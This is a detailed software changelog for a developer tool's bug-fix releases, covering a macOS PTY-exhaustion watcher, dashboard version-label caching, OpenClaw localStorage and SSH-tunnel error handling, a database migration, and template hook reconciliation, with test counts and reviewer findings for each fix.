> 🛟 **Recommended bug-fix release.** Two patch-class fixes since v3.16.1: **ttyd-watcher actually fires on macOS** (#144) — closes a 6+-month silent regression where the watcher's `pgrep -c` proxy exited 2 on every BSD invocation, leaving #94's session-killing PTY-exhaustion bug unprotected since #95 merged; users had been manually `launchctl kickstart`-ing ttyd on every incident. The replacement measures `kern.tty.ptmx_max` vs `/dev/ttys*` directly and trips at 85% pool saturation. **Dashboard project-version label self-heals on enrichment** (#165) — closes the stale-label gap where external version bumps (release-PR merges, manual `version.json` edits) didn't reach the dashboard until the next TC-managed session launch or wrap on the same project. Anyone on v3.16.1 will get the update-pill notification with a clickable link to this release page.

### Fixed

- **ttyd-watcher now actually fires on macOS — measures PTY pool, not broken `pgrep -c` proxy (#144)** — `lib/ttyd-watcher.js` shipped in PR #95 to auto-recover from #94's session-killing PTY-exhaustion bug. It has been a silent no-op on every macOS install since merge. `_countTtydChildren` invoked `pgrep -c -P <pid>` — but BSD `pgrep` (`/usr/bin/pgrep` on macOS) has no `-c` flag and exits 2 with `illegal option -- c`. The catch only special-cased `err.status === 1` (no matches), so exit 2 fell through to a `pgrep failed` warn that has been logged every 5 minutes since at least 2026-05-02. The kickstart never fired; users have been manually running `launchctl kickstart -k gui/$UID/com.tangleclaw.ttyd` to recover from every incident. The PR #95 unit tests stubbed the runner via `_setRunner`, so the production code path against real BSD `pgrep` was never exercised by CI — three defects compounded into a silent regression that took 6+ months to surface.
  - **`lib/ttyd-watcher.js:_isPtyPoolExhausted(thresholdRatio)`** — new function replacing `_countTtydChildren`. Measures the actual exhausted resource: `sysctl -n kern.tty.ptmx_max` (cap) vs `sh -c 'ls /dev/ttys* 2>/dev/null | wc -l'` (used). Returns `{ exhausted, used, cap, ratio }`. The pool measurement counts both live and zombie PTY-holding processes because it asks the kernel rather than introspecting a process tree — closing the second compounding defect (BSD `pgrep` filters out zombies). Fail-safe: any non-numeric reading, throwing binary, or `cap <= 0` returns `{ exhausted: false, used: 0, cap: 0, ratio: 0 }` and the watcher never kickstarts on a failed measurement.
  - **`lib/ttyd-watcher.js:_countTtydZombies(pid)`** — new diagnostic-only function using `ps -A -o ppid=,stat=` (which unlike BSD `pgrep` DOES include zombies). Counts rows where `ppid == pid` AND `stat` contains `Z`. **Never gates the kickstart decision** — captured purely for diagnostic logging so production logs on the next incident carry the data that answers "how many zombie children did ttyd have when we kickstarted?" with a grep rather than a guess. Returns 0 on any error.
  - **`lib/ttyd-watcher.js:_check`** — rewired to gate kickstart on `_isPtyPoolExhausted` (pool-only, per the #144 issue body's explicit proposal). Trigger log line moves from `'ttyd child count above threshold, kickstarting'` to `'ttyd PTY pool exhausted, kickstarting'` and carries `{ ttydLabel, pid, used, cap, ratio, zombies, threshold }`. The below-threshold debug log carries the same fields so verbose operators can watch the pool fill over time. Zombie count is included in both log lines as diagnostic-only data.
  - **API change**: `DEFAULT_THRESHOLD = 50` (child count) → `DEFAULT_PTY_THRESHOLD = 0.85` (pool ratio). `_check` opt `threshold` → `ptyThresholdRatio`. `start()` opt `threshold` → `ptyThresholdRatio`. Only caller in the repo (`server.js:3123`) invokes `start()` with no options, so the rename is fully internal.
  - **Design call: pool-only gate (not hybrid pool+zombies AND gate)**. The issue body explicitly proposed pool-only ("trip kickstart when used/cap crosses ~0.85"). Simpler. If unrelated PTY saturation produces false-positive kickstarts in practice (no observed case yet), can add a hybrid gate as a follow-up — easier to add a gate later than to remove one. A test pins the policy: pool exhaustion alone triggers kickstart even when zombie count is 0.
  - **Production-runner smoke test (closes the test gap that hid this bug for 6+ months)** — `describe('production runner smoke test (darwin only)')` block calling `_isPtyPoolExhausted(0.85)` AND `_countTtydZombies(1)` against the real host shell (no `_setRunner` patch). Gated on `process.platform === 'darwin'`. Asserts both functions return finite values without throwing. Pre-#144 the entire watcher was tested only against a stubbed runner; the same regression class — a wrong-flag invocation that silently fails on macOS — would slip through CI again without this. Closes the issue's "Test gap to close" requirement.
  - **Tests**: -3 in `test/ttyd-watcher.test.js` (`_countTtydChildren` describe block removed — function gone). +9 (`_isPtyPoolExhausted`: trips at threshold; trips at canonical #94 incident shape used=527 cap=511; doesn't trip below threshold; doesn't trip at floor-1 (off-by-one boundary lock, Critic NIT 1); fail-safe on non-numeric sysctl; fail-safe on sysctl throw; fail-safe on ls/wc throw; fail-safe on cap≤0; uses DEFAULT_PTY_THRESHOLD when no arg). +6 (`_countTtydZombies`: counts only ppid-match AND Z-stat rows; returns 0 when no rows match parent; returns 0 when all matching rows are live; fail-safe on ps error; empty ps output; skips malformed rows). +2 `_check` tests (still kickstarts when zombies=0 — pins the pool-only design call; doesn't kickstart on fail-safe measurement and short-circuits to the new measurement-failed warn — Critic MINOR 1). +2 production-runner smoke (darwin-gated). 1896 total passing (was 1880).
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 0 MAJORs / 2 MINORs / 4 NITs. MINORs + 3 NITs addressed in-chunk. **M1** (fail-safe `{ cap: 0 }` fell through to the "PTY pool ok" debug log so operators grepping `ratio: 0.000` couldn't distinguish "pool empty" from "measurement broken") — `_check` now branches early on `cap === 0`, emits a `warn` with `'ttyd PTY pool measurement failed (fail-safe — no kickstart)'` carrying `{ ttydLabel, pid, zombies, threshold }`. New regression test asserts the branch is reachable from a thrown sysctl and that no kickstart fires. **M2** (CHANGELOG test-count off by one — enumeration listed 8 `_isPtyPoolExhausted` tests but the count said `+7`) — corrected to `+9` after also adding the boundary-lock test from NIT 1; total now sums correctly at 1896. **N1** (boundary lock missing) — added a `used = floor(cap*threshold) - 1` test asserting `exhausted === false` to pin the `>=` vs `>` predicate from drifting in either direction; pairs with the existing `used = floor(cap*threshold)` trip test. **N2** (test body had six lines of working-out-loud commentary about macOS ps STAT codes) — collapsed to a one-line `// Expected: rows 3 and 4 match. Others either lack Z or wrong ppid.` comment. **N4** (JSDoc on `_check`'s `ptyThresholdRatio` typed as bare `number` and could mislead a future caller into passing `85` instead of `0.85`) — added `/* 0..1 fraction, not percent */` inline comment to the type signature; pulled the better wording in `start()`'s JSDoc through. NIT 3 (whether to keep the unconditional `ps -A` per tick — Critic recommended keeping it for diagnostic continuity) accepted as-is; the measurement is microseconds and the symmetric log payload across exhausted/ok branches is more valuable than the saved cycle.
  - **Backwards compatibility**: TC restart picks up the new watcher behavior on launch. The watcher remains macOS-only (Linux installs are unaffected — `start()` short-circuits in the existing platform guard). No data migrations.

- **Dashboard project-version label self-heals on enrichment (#165)** — The project-version label shown in the dashboard project list (e.g. `TangleClaw-v3 v3.X.Y`) is sourced from each project's `.tangleclaw/project-version.txt` cache file via `lib/projects.js:_detectProjectVersion`. Pre-#165 the cache file was only rewritten by `lib/project-version.js:recordVersion`, which is called from two narrow triggers — session launch (`lib/sessions.js:145`) and session wrap (`lib/sessions.js:765`). When a project's on-disk version source changed outside of a TC-managed session (release-PR merge via `gh`, external `git pull`, manual edit of `version.json`), the cache stayed stale and the dashboard kept rendering the pre-bump number until the next launch/wrap. Manifested live on 2026-05-13 when cutting v3.16.1: the TC-v3 project's `version.json` and `CHANGELOG.md` both reflected the new version, but the dashboard label still read `v3.14.0` because no TC-managed session had launched on the TC-v3 project itself since 2026-05-05.
  - **`lib/projects.js:_detectProjectVersion`** — semantic inversion. Pre-#165 the cache was the highest-priority source and a divergent on-disk source never reached the label. Post-#165 the function reads both the cached value AND the live chain (CHANGELOG.md → version.json → package.json) on every call; if live is present and differs from cached, it rewrites the cache with the live value + correct source label and returns live. Live's absence (no source files match) preserves the cached value — this is load-bearing for git-tag-derived caches that `lib/project-version.js:recordVersion` may have written via its richer detection chain, which `lib/projects.js`'s live readers can't reproduce.
  - **`lib/projects.js:_detectLiveVersion`** — new helper exposing the live half of the detection chain as `{ version, source } | null`. Separated from `_detectProjectVersion` so the self-heal write can label the source correctly (`'CHANGELOG.md'`, `'version.json'`, `'package.json'`) rather than re-detecting source post-facto.
  - **`lib/projects.js:_writeVersionCacheFile`** — new helper mirroring `lib/project-version.js:_formatCacheFile`'s output byte-for-byte (`version: …\nrecorded_at: …\nsource: …\n` with ISO-without-ms recorded_at). Write is best-effort via try/catch; logs at warn on failure but returns silently so enrichment never crashes on a read-only filesystem or permission-denied `.tangleclaw/`. Creates `.tangleclaw/` if missing.
  - **Why the write helper lives in `lib/projects.js` rather than calling `projectVersion.recordVersion`**: `lib/project-version.js` already requires `lib/projects.js` for its own readers (`_readChangelogVersion` etc.). A back-require would close a cycle. The cache file format is plain text and stable across the codebase; duplicating the four-line write is cheaper than reorganizing the module graph.
  - **Cost**: every enrichment call now does up to ~3 extra small text-file reads (CHANGELOG.md / version.json / package.json) when the cache is present. Previously the chain short-circuited on cache hit. Filesystem-cache-warm reads are sub-millisecond; no measurable dashboard-refresh slowdown.
  - **Tests**: 1 inverted in `test/projects.test.js` (`layer 1: live source overrides stale cache and self-heals` — was the pre-#165 `cache file should win over CHANGELOG, version.json, and package.json` test, asserting `1.0.0-from-cache`; now asserts `2.0.0-from-changelog`). 9 new in a dedicated `describe('_detectProjectVersion self-heal (#165)')` block: rewrites on version.json mismatch (asserts cache file contents + source label + recorded_at shape); rewrites on CHANGELOG mismatch (verifies live-chain priority — CHANGELOG over version.json); steady-state byte-equal preservation (no rewrite when cache matches live, filesystem-agnostic); cache preservation when no live source (git-tag-derived caches survive); read-only-directory fail-open (chmod 0o500 forces write failure, function still returns live value); creates `.tangleclaw/` if missing; non-existent path returns null without throwing; `_detectLiveVersion` returns null when no live source; `_detectLiveVersion` source labels match the reader that hit (CHANGELOG / version.json / package.json). 1880 total passing (was 1871).
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 1 MAJOR / 3 MINORs / 2 NITs. MAJOR + 2 MINORs addressed in-chunk. **M1** (fail-open test passed for the wrong reason) — original test seeded an existing cache file then `chmod 0o500`'d the directory, but POSIX `O_WRONLY|O_TRUNC` on an *existing* file succeeds inside a r-o directory (the test silently exercised the success path, not the catch block). Rewrote the test to stub `fs.writeFileSync` so it throws unconditionally; added positive assertions that the stub was invoked exactly once AND that no cache file was created. The stub-based approach is also cross-platform robust (chmod-based fail-open tests no-op when run as root). **N1** (`_readVersionCacheFile` JSDoc was doubly stale) — comment still referenced "AI on session start and wrap once the session-lifecycle hook lands in #55 chunks 2+" from before #101 made TC the writer. Refreshed to document both current TC-side writers (`lib/project-version.js:recordVersion` for the rich chain incl. git-tag, `lib/projects.js:_writeVersionCacheFile` for the #165 self-heal). **N2** (preserve-cached-when-live-null trade-off not documented in-code) — added a sentence to `_detectProjectVersion`'s JSDoc explaining the accepted trade-off: a project whose only live source was deleted will keep showing the pre-deletion value until the next session launch's `recordVersion` rewrites the cache with `source: fallback`. The alternative (clobber on null) would regress git-tag-only projects on every enrichment, which is worse. N3 (test pollution risk from chmod permission failures) accepted as-is — N1 fix removed the chmod entirely, so the concern no longer applies. NITs (CHANGELOG count framing, duplicated JSDoc rationale) accepted as-is.

## [3.16.1] - 2026-05-13


> 🛟 **Recommended bug-fix release.** Three OpenClaw / methodology-hook fixes since v3.16.0: **chunk-1 orphan-hook protection now reaches pre-#146 runtime templates** (#158) — closes the session-killing infinite Stop-hook loop that resurfaced on TC-v3 itself when chunk-1's `requires` filter silently no-op'd on pre-v3.15.0 runtime templates; **OpenClaw connection flow fixes** (#160) — surfaces real save errors, fixes Bridge Port silently defaulting to 3201 for non-ClawBridge deployments, and replaces the generic "check SSH connectivity" message with the actual SSH failure (local-bind conflict, auth failure, network error); **OpenClaw Web UI cached-WS-URL routing fix** (#162) — clicking a second OpenClaw connection's Web UI button no longer loads the first connection's dashboard via stale localStorage cache. Anyone on v3.16.0 will get the update-pill notification with a clickable link to this release page.

### Fixed

- **OpenClaw Web UI: clicking a second connection's Web UI button loaded the first connection's dashboard via cached localStorage WS URL (#162)** — When TC proxies multiple OpenClaw connections through `/openclaw-direct/<connId>/...` on the same TC origin, the iframe-loaded OpenClaw dashboard caches its derived WebSocket URL in localStorage (e.g. `wss://192.168.10.99:3102/openclaw-direct/<connId>`). Because the dashboard reads localStorage on subsequent loads instead of re-deriving from the iframe URL, the second OpenClaw's Web UI button would silently route WebSocket traffic to the *first* OpenClaw's tunnel. Symptom: clicking Claw-Node-01's Web UI button opens RentalClaw's dashboard. The iframe URL is correct; the dashboard's WebSocket connection is wrong.
  - **Scope honesty (Critic MAJOR-4)**: this fix targets the **observed manifestation** — cached values whose string content contains the proxy path `/openclaw-direct/<otherId>/`. The TC parent page can detect and remove those entries before the iframe loads. If a future OpenClaw dashboard caches its WS URL under a key whose value contains no proxy-path substring (e.g. origin-only `wss://host:port` or a structured `{host,port}` JSON), the fix as shipped does NOT clear it and the bug recurs. That broader case is acknowledged-out-of-scope here; would file as a #162-followup needing either a TC-side proxy HTML injection or a coordinated change with OpenClaw upstream.
  - **Fix in `public/openclaw-cache.js`** — new helper module `tcClearStaleOpenclawCache(connId, storage)`. Walks `localStorage`, uses `matchAll` to extract every `/openclaw-direct/<id>` reference inside each value, and deletes the entry only when EVERY reference is for a different (case-insensitive) connId than the current one. Composite values that reference both the current connection AND a stale one are PRESERVED — the dashboard's legitimate current-connection state shouldn't be lost just because the value also mentions an old id. Loaded via a new `<script src="/openclaw-cache.js">` tag in `openclaw-view.html` (positioned between `api-helper.js` and `openclaw-view.js` so the helper is defined before `openclaw-view.js`'s `init()` calls it). Uses the same UMD-ish factory pattern as `api-helper.js` — exposes on `window` for the browser and `module.exports` for tests.
  - **Wiring in `public/openclaw-view.js`** — new `setFrameSrc(frame, url)` helper is the only writer of `terminalFrame.src` in the file; it runs `tcClearStaleOpenclawCache(connId)` then sets `frame.src`. Both writer sites (`init()` initial load and the post-pairing auto-approve reload) route through this helper, so the cache-bust is symmetric (Critic MINOR-1 + MINOR-2). The iframe is same-origin with the parent (TC proxies under `/openclaw-direct/`), so localStorage is shared — clearing entries from the parent makes the dashboard JS running inside the iframe fall through to deriving its URL fresh from the iframe's own `location` (for the in-scope value shape). Call is guarded by `typeof tcClearStaleOpenclawCache === 'function'` so a missing helper script doesn't crash navigation.
  - **Policy decisions**: (a) **Composite-value safety** — `matchAll` + "hasStale && !hasCurrent" predicate: only delete when no reference inside the value matches the current connId (Critic MAJOR-2). (b) **Case-insensitive connId comparison** — UUIDs are case-insensitive per RFC 4122 §3; both extraction and comparison are normalized to lowercase so a value emitted with mixed case (uppercase / mixed canonical form) doesn't get misclassified as stale and over-deleted (Critic MAJOR-3). (c) Only entries whose VALUES reference `/openclaw-direct/<otherId>/` are touched — TC's own per-project settings under `tc_<project>_<key>` and other unrelated keys are preserved. (d) Same-connection cache is preserved (the dashboard's prior session state survives navigation away and back, including across case differences). (e) Idempotent — calling twice with the same connId does nothing the second time. (f) Storage walk goes BACKWARDS so live mutation via `removeItem` doesn't skip keys (regression-tested). (g) Tolerant of incognito/disabled storage — wrapped in try/catch, returns 0 on any thrown access. (h) Defensive against missing/empty/malformed `currentConnId` — UUID-shape validation (`/^[0-9a-fA-F-]{16,64}$/`) means an accidental empty/typo input returns 0 without touching storage (Critic MINOR-4).
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 3 MAJORs / 4 MINORs / 3 NITs. All MAJORs + actionable MINORs addressed in-chunk. **M2** (composite-value over/under-deletion) — original match-first-occurrence semantics could either over-delete (first match stale → whole value gone even if it also referenced current) or under-delete (first match current → preserves entry even if it referenced an old id elsewhere). Rewrote to `matchAll` + "hasStale && !hasCurrent" predicate; composite values containing the current connId are preserved. **M3** (case-policy backwards) — original strict-equality comparison would over-delete legitimate same-connection state if OpenClaw ever emitted a mixed-case UUID. UUIDs are case-insensitive per RFC 4122 §3; both extraction and comparison are now `.toLowerCase()`-normalized. Test that previously asserted "case difference treated as mismatched" was rewritten to assert the correct "case differences are NOT stale" contract. **M4** (CHANGELOG scope honesty) — added a "Scope honesty" sub-bullet acknowledging the fix targets the observed manifestation only; cached values whose strings don't contain the proxy path would need a follow-up issue. **Min1 + Min2** (symmetric clearing) — pre-Critic, only the initial `init()` write to `frame.src` cleared the cache; the post-pairing auto-approve reload was an un-cleared direct `frame.src = frame.src`. Extracted a `setFrameSrc(frame, url)` helper that's the only writer of `terminalFrame.src` in the file; both call sites route through it. Wiring test asserts there are NO direct `frame.src` writes outside the helper body. **Min4** (malformed connId) — added a UUID-shape regex `/^[0-9a-fA-F-]{16,64}$/` so a malformed input returns 0 without touching storage; regression test pins the contract. NITs (comment length, count-claim verification, CHANGELOG phrasing) accepted or addressed inline.
  - **Tests**: 17 new in `test/openclaw-cache.test.js`. Behavioral coverage against a mock `Storage` shim (13 cases): removes mismatched connId entries; preserves matching connId entries (incl. mixed-case); preserves unrelated entries (TC settings, third-party widgets); handles multiple stale entries in one pass; walks backwards so removeItem-during-iteration doesn't skip; tolerates non-string values; returns 0 on null/throwing storage; refuses to touch anything when `currentConnId` is empty/missing/malformed (UUID-shape validation); composite-value with mixed stale + current refs is preserved; all-stale composite is removed. Source-level structural assertions (4 cases): `openclaw-view.html` loads `openclaw-cache.js` BEFORE `openclaw-view.js`; `setFrameSrc` is the only `frame.src` writer outside its own body; `setFrameSrc` is called from at least 2 sites (init + post-pairing reload); the cache-bust call is guarded by `typeof === 'function'`. 1849 total passing (was 1832 at #161 merge).
  - **Backwards compatibility**: TC's own localStorage entries (per-project session settings, update-pill dismissal state, etc.) all use the `tc_*` prefix and don't carry `/openclaw-direct/` substrings — they're untouched by the helper. Users who have only ever opened one OpenClaw connection see no behavior change. Cross-connection users who currently see the bug get the fix on next openclaw-view.html load.

- **OpenClaw connection flow: misleading save errors + Bridge Port silently defaulting to 3201 + tunnel "check SSH connectivity" hiding the real failure (#160)** — Three compounding UI/UX bugs that made non-ClawBridge OpenClaw connections (any deployment without a ClawBridge sidecar — e.g. a fresh Docker-based OpenClaw on a Linux host) effectively unusable until the user manually PATCHed the record via the REST API. All three closed in one PR.
  - **Bug 1 — Save toast now surfaces the real server error.** Pre-#160, the New / Edit Connection modal hardcoded `"Save failed. Name may already exist."` for any non-2xx response. The actual error (PORT_CONFLICT, BAD_REQUEST, CONFLICT, etc.) lived in the JSON response body's `error` + `code` fields but never reached the UI. `public/ui.js:saveConnection` now uses `api.lastError` + `api.lastErrorCode` (the side-channel exposed by `public/api-helper.js` since PR #84 / issue #80) to render the real message. Falls back to the previous generic message only when no error payload was returned (e.g. network failure mid-save). Backend tests pin the contract that PORT_CONFLICT responses carry both `error` (string) and `code: 'PORT_CONFLICT'` so the frontend can disambiguate.
  - **Bug 2 — Blank Bridge Port now persists as null.** Pre-#160, an empty Bridge Port field in the modal silently saved as `3201` (the ClawBridge default) for three reasons: (a) `public/ui.js:saveConnection` serialized `parseInt(value, 10) || 3201`; (b) `lib/store.js:openclawConnections.create` ran `const bridgePort = data.bridgePort || 3201;`; (c) `lib/store.js:_rowToConnection` coerced null read-back to 3201. Every non-ClawBridge connection carried 3201 in its DB row, which then drove server.js to ask `lib/tunnel.js` for a `-L 3201:127.0.0.1:3201` SSH forward — and with `-o ExitOnForwardFailure=yes` set, any local-port conflict on 3201 killed the entire tunnel. Fixed at all three layers: form submit sends `null` on empty; create accepts null verbatim; row read-back preserves null. PATCH-to-clear (sending `bridgePort: null` or `bridgePort: ''` in PUT) now actually clears. Persisted non-null values (e.g. 4501) still round-trip unchanged — only the falsy → 3201 coercion went away.
  - **Bug 3 — Tunnel failure messages now name the actual problem instead of "check SSH connectivity".** Pre-#160, `lib/tunnel.js:ensureTunnel` spawned SSH with `stdio: 'ignore'`, discarding stderr. When `tcpProbe` saw the tunnel didn't come up, the only available message was a generic "SSH tunnel spawned but port not connectable" — which `server.js` then wrapped as "Tunnel failed: …", indistinguishable from a real SSH connectivity issue. The local-bind conflict (the canonical #160 incident shape) is invisible in this message. Fixed by switching stdio to `['ignore', 'ignore', 'pipe']`, buffering stderr (4 KB cap), and routing it through a new `_formatTunnelError(stderr, extraForwards)` helper that recognizes the load-bearing failure modes — local-bind conflict (with a special hint when the conflicting port matches a secondary forward like Bridge Port), `Permission denied`/`publickey` auth failures, `Connection refused`/`No route to host`/`Could not resolve hostname` network failures — and renders them with actionable text. Unrecognized stderr falls back to surfacing the first non-empty line so the user has something to grep.
  - **Schema migration v14 → v15 (`lib/store.js`)**: `openclaw_connections.bridge_port` was `INTEGER NOT NULL DEFAULT 3201` pre-#160. SQLite can't `ALTER COLUMN` to drop NOT NULL, so the migration recreates the table preserving every existing row's data verbatim — rows that already have 3201 keep 3201 (the migration changes only the column constraint, not existing values). Wrapped with explicit `BEGIN; ... COMMIT;` SQL (the runtime DB engine is `node:sqlite`'s `DatabaseSync`, which doesn't expose a `.transaction()` wrapper). Postcondition check verifies `PRAGMA table_info` reports `notnull=0` before advancing `schema_version` — if the recreate step silently failed for any reason, the migration throws rather than marking the DB v15 with a v14 schema still in place (Critic MAJOR-3). Best-effort `ROLLBACK` in the catch block if a BEGIN landed without COMMIT. Fresh `CREATE TABLE IF NOT EXISTS` also updated for new installs.
  - **Docs**: `docs/openclaw-setup.md` updated — the Bridge Port row in the connection-fields table now says "leave blank for non-ClawBridge OpenClaw deployments" rather than presenting `3201` as the default (Critic MAJOR-4). The "How it works" section also clarifies that the Bridge Port forward is conditional on the field being set.
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 4 MAJORs / 4 MINORs / 2 NITs. All MAJORs + actionable MINORs addressed in-chunk. (M1 — `Warning: Permanently added` first-connect noise was leaking into the auth/network/fallback messages) `_firstLine` now filters lines matching `/^Warning: Permanently added/i` before picking the first meaningful line; auth + network + fallback branches all render the real error line, not the host-key Warning. (M2 — original "migration preserves data" test was actually testing API round-trip on a fresh v15 DB, not the migration code path) Added a real migration regression test that opens a fresh tmpDir, seeds it directly via `node:sqlite` with the pre-#160 schema (`bridge_port INTEGER NOT NULL DEFAULT 3201`) + `schema_version = 14` + two pre-existing rows (one with `3201`, one with `4501`), then calls `store.init()` to fire `_runMigrations` and asserts (a) `schema_version` advanced to 15, (b) `PRAGMA table_info` reports `notnull=0` + `dflt_value=null`, (c) both pre-existing row values survived verbatim, (d) post-migration inserts with `bridgePort: null` now succeed. (M3 — silent migration-failure → false v15) Postcondition check throws if `bridge_port` isn't nullable after the recreate step; `schema_version` advancement is gated on the throw not firing. (M4 — `docs/openclaw-setup.md` still claimed 3201 as the default) See "Docs" bullet above. (Min1 — IPv6 bind-conflict regex) Bind-pattern regex broadened to `/bind\s+(?:\[[^\]]+\]|[^:\s]+):(\d+):\s*Address already in use/i` so `bind [::1]:port` matches the same way `bind [127.0.0.1]:port` does; regression test added. (Min3 — spawn-error swallow) `ssh` binary missing / ENOENT now seeds `stderrBuf` with the spawn error message before exiting, so `_formatTunnelError` can surface the real reason instead of the generic "port not connectable" fallback. (Min4 — `bridgePort: 0` contract) New test pins current behavior (0 round-trips literally; server.js's `conn.bridgePort ?` truthiness check correctly treats 0 as "no bridge" for the tunnel layer) and documents the contract; explicit input validation tracked separately as future work. NITs (migration comment wording, IIFE vs named helper) accepted as-is. UTF-8-multibyte stderr slice (MINOR-2) accepted as-is — message correctness > codepoint hygiene on a 4 KB error path; if it ever matters we have a clear extension point.
  - **Tests**: +20 across `test/api-openclaw.test.js` (9 — bridgePort=undefined/null/empty-string/explicit/zero all round-trip through POST + GET, PUT clears bridgePort via null or "", explicit 3201 is preserved on the create→read-back round-trip locking in data-preservation contract for the migration, PORT_CONFLICT response carries `error` + `code: 'PORT_CONFLICT'` so the frontend toast contract holds), `test/tunnel.test.js` (10 — empty/missing stderr falls through to generic; bind conflict on primary port; bind conflict on extra forward with the "Clear the secondary forward" hint; auth-failure recognition; network-error recognition for refused/no-route/DNS; unknown stderr falls back to first non-empty line; multiple bind-error stderr-formatting variants all extract the port correctly; canary that `_formatTunnelError` stays exported; `Warning: Permanently added` first-connect noise is correctly skipped across auth/network/fallback branches; IPv6 bind-conflict extraction), and `test/store-openclaw.test.js` (1 — real v14→v15 migration regression test described above; plus the existing assertions updated for the new contract: default `bridgePort` is `null` not 3201, schema column reports `notnull: 0` + `dflt_value: null`). Four other tests had the schema version assertion bumped 14 → 15 (`test/store.test.js`, `test/store-portleases.test.js`, `test/sessions-webui.test.js`, `test/store-session-mode.test.js`). 1832 total passing (was 1812 at v3.16.0).
  - **Backwards compatibility**: existing OpenClaw connection records pre-#160 carry `bridge_port = 3201` in their row data. The migration preserves those values verbatim — they're read back as 3201, server.js still adds the `-L 3201` forward, and the tunnel still depends on the local 3201 being free (same as before). Only NEW connections created after #160 with the field left blank get `null`, and the tunnel skips the extra forward for those. Users with existing affected records can clear via the UI now that PATCH-to-null works end-to-end.

- **Chunk-1 orphan-hook protection now reaches pre-#146 runtime templates (#158)** — `v3.15.0`'s chunk-1 `requires`-array filter on methodology hook entries (`engines._filterHookEntriesByRequires`, #145 chunk 1) is load-bearing for suppressing the infinite Stop-hook → synthetic-user-message loop documented in ADR 0001. The filter is only effective when each hook entry carries a `requires` array. Bundled templates have it; runtime templates at `~/.tangleclaw/templates/<methodology>/template.json` that were copied from bundled *before #146 merged* do not. `_mergeBundledTemplate` (#136 / PR #156) reconciled `wrap.steps` and missing top-level *object* fields but did not traverse `hooks.<engine>[].entries[]` — so pre-#146 runtime templates stayed `requires`-less even after v3.16.0 self-heal ran, and chunk-1's filter passed those entries through unchanged. Result: every prawduct project on a pre-#146 install was still injecting the orphan Stop hook on every session-launch sync and still hitting the infinite loop. Confirmed live on TC-v3 itself on 2026-05-12 against server already running v3.16.0.
  - **`lib/store.js:_mergeBundledHookEntries(bundled, live)`** — new top-level helper that walks `bundled.hooks.<engine>.<event>[]` and additively backfills missing keys (notably `requires`) into matched live entries. **Scope: hook ENTRY top-level keys only** — the helper does not recurse into `entry.hooks[]` inner command objects, so a missing `statusMessage` on a nested command stays as-is. Inner-array semantics belong with #155's broader per-array policy work. Match policy: primary join by `matcher` string (the natural identity for hook entries); FIFO index fallback when matchers collide on the live side (e.g. duplicate matchers); same-position index match only when both sides lack a string matcher. Additive only — never overwrite a live value, never delete user-added keys, never reorder live entries, never insert bundled-only entries that have no live match, never auto-create a live `hooks.<engine>` block that bundled defines but live lacks (that's `addMissing`'s upstream job). Backfilled values are deep-cloned so subsequent mutations on the bundled object don't leak into live. Acknowledged limitation: when live has two entries sharing a matcher with bundled, the appearance-order FIFO match may attach `requires` to a user-added entry rather than the original-shape entry — documented in the helper header; the worst-case outcome is the user's custom entry being filtered when its runtime is missing, which is a missing-hook annoyance, not a session-killing loop.
  - **`lib/store.js:_mergeBundledTemplate`** — calls `_mergeBundledHookEntries` after the existing `addMissing` + `wrap.steps` passes. The new helper is independent: it only runs when both bundled and live have a `hooks` object, leaves all other reconciliation policies untouched, and contributes to the existing `changed` flag so the file is rewritten only when something was actually added. The atomic-write semantics (`fs.writeFileSync` with `mode: 0o600`) and fail-open malformed-JSON behavior inherit from the existing `_mergeBundledTemplate` shell.
  - **Why this was deferred to #158 rather than caught in #136**: `#136`'s scope was deliberately narrow (per the v3.16.0 CHANGELOG entry's scope-limitation language). The acknowledged-as-future case for object-id-keyed arrays + hook arrays was filed as #155 for a broader policy-table design pass. The live loop manifesting on TC-v3 on 2026-05-12 — chunk-1's protection silently no-op'ing on a real install — elevated the hook-entry subset to its own ahead-of-#155 fix, since the latency between filing #155 and shipping it would have meant every prawduct install on the same install class kept hitting the loop. The targeted fix here is small (one new helper + one wiring line) and load-bearing (closes a session-killing safety gap); #155 still owns generalizing the reconciler to `phases` / `init.directories` / `prime.sections` / eval-dimension lists / object-id-keyed arrays under a per-array policy table.
  - **ADR 0001 updated**: incident catalog adds the #158 row. New anti-pattern entry: *"Protective sync exists but doesn't traverse the data shape required to deliver the protection"* — codifies the lesson that a reconciler covering only a subset of the bundled→live state class can leave the gate it was meant to protect un-deployed for existing installs. Resolution rule: when adding a sync intended to protect gate G, write a test proving the sync actually delivers the protection on the canonical legacy data shape, not just on freshly-generated state.
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 2 MAJORs / 3 MINORs / 1 NIT. All MAJORs + MINORs addressed in-chunk. (M1 — test-isolation) `test/issue-158-syncEngineHooks-integration.test.js` now scaffolds `store._setBasePath` + `store.init()` in `before`/`after` hooks mirroring `test/engines.test.js`, so the engine profile read inside `engines.syncEngineHooks` doesn't reach the host's real `~/.tangleclaw/engines/`. (M2 — additive-at-entry-level contract) Added regression test pinning the documented behavior that the helper does NOT auto-add bundled engine blocks missing from live (that's `addMissing`'s job upstream in `_mergeBundledTemplate`); helper header explicitly states the boundary. (Min1 — entry-level-only contract) Helper JSDoc + CHANGELOG bullet now explicitly state the backfill is hook-entry top-level keys only and does not recurse into `entry.hooks[]` inner command objects, plus a regression test that asserts a missing `statusMessage` on an inner command stays missing. (Min2 — mtime brittleness on coarse-resolution filesystems) Integration no-op test switched from `fs.statSync(...).mtime` comparison to `fs.readFileSync(...).equals(...)` byte-equal check; filesystem-agnostic. (Min3 — defensive-branch coverage gap) Added regression test for malformed entries (null / non-object) inside an otherwise-valid hook entries array — pins the contract that malformed entries are skipped silently while well-formed siblings still backfill. NIT findings on CHANGELOG verbosity accepted as-is — the post-mortem on "why deferred from #136" stays in for the #155 timeline; future maintenance can trim once #155 lands.
